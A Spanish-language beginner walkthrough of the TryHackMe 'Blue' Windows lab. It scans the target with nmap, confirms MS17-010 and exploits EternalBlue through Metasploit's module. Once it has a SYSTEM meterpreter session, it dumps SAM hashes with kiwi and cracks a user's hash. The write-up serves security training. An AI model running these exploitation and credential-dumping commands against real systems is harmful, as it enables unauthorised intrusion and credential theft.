Una de las máquinas más simples para comenzar en el mundo del hacking ético para sistemas Windows es "Blue", esta máquina aborda temas básicos de: Reconocimiento, enumeración, explotación, post-explotación.

No es una máquina diseñada a CTF, es más para practicar metodología y entender el proceso de pentest. Así que… ¡¡comencemos!!

  1. Reconocimiento

Haciendo un escaneo para descubrir puertos abiertos

 nmap -sS -Pn -n -p- --min-rate 4000 --open -vvv 10.67.185.132

El escaneo previo que lanzamos, hace uso de las flags -sS, -Pn y n para que, haga un escaneo sigiloso, que tome al host como activo y no haga una resolución de DNS, con un flujo minimo de 4000 paquetes, una alta verbosidad para entender el output del escaneo y que únicamente se muestren los puertos abiertos.

None
Puertos abiertos encontrados

Con la imagen anterior detectamos 9 puertos abiertos, sin embargo los puertos que pueden tener mayor relevancia para nosotros seran: 135, 139, 445, 3389.

  • 135 = Rpc | 139 = NetBIOS | 445 = SMB | 3389 = RDP

Realizando un escaneo para obtener las versiones y haciendo uso de los scripts por default obtenemos lo siguiente.

2. Enumeración

None
host jon, windows 7 6.1

Si hacemos uso de los scripts que tiene nmap o metasploit podemos verificar la versión de SMB, esto es relevante ya que windows 7 tiene demasiadas vulnerabilidades pero SMB con versiones obsoletas pueden ser explotadas para RCE con Eternalblue.

None
Version 1 de SMB

Ahora corroborando si la vulnerabilidad de Eternalblue es efectiva haremos uso de este script.

nmap -p445 --script smb-vuln-ms17-010 <target>

Efectivamente es vulnerable a EternalBlue

None
vulnerable

3. Explotación

Después de iniciar metasploit y buscando el módulo de explotación de eternal blue podemos hacer la configuración deseada para obtener RCE.

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
SET LHOST tun0 (es la ip que se nos designo de la interfaz de red de la vpn a THM)
SET RHOSTS IPdeLaMaquinaVictima
run

Como se puede observar en la imagen a continuación, obtuvimos una session en meterpreter, logrando la ejecución remota de comandos (RCE)

None
sesión meterpreter conseguida

4. Enumerar localmente

Haciendo uso del comando getuid de meterpreter podemos observar que tenemos los privilegios más altos del sistema "NT-AUTHORITY SYSTEM"

None
privilegios máximos

Se intento usar hashdump, sin embargo no fue posible por alguna razón, así que una opción alterna es cargar mimikatz o kiwi que es el equivalente en meterpreter para dumpear los hashes y obtener acceso a otros usuarios.

load_kiwi
lsa_dump_sam
None
Hashes obtenidos

En el ejercicio se nos solicita crackear el hash de jon, podemos aplicar diferentes métodos como, john the ripper, hashcat, crackstation. Podemos irnos por la forma más simple "crackstation" ya que aquí no debemos configurar nada, unicamente cargar el hash y este puede que lo identifique de manera de directa.

None
hash crackeado

Por último se solicita encontrar banderas para este ejercicio en diferentes ubicaciones del sistema.

Aplicando un script básico podemos encontrar todas las banderas de manera directa

dir C:\*flag* /s /b /a
None
banderas encontradas

Nota: Se mencionan en las banderas rutas importantes como

  • C:\Users\Jon\Documents\ # Ruta donde suelen dejar archivos importantes (si se es descuidado como admin)
  • C:\Windows\System32\config\ # Ruta que guarda información sensible del sistema (hives)

Como se puede observar esta máquina es sumamente simple y tiene una guía paso a paso para llevar acabo el pentest, es importante destacar que si bien es un ejercicio para principiante, contar con las bases solidas te permitirá entender porque se hace cada uno de estos pasos.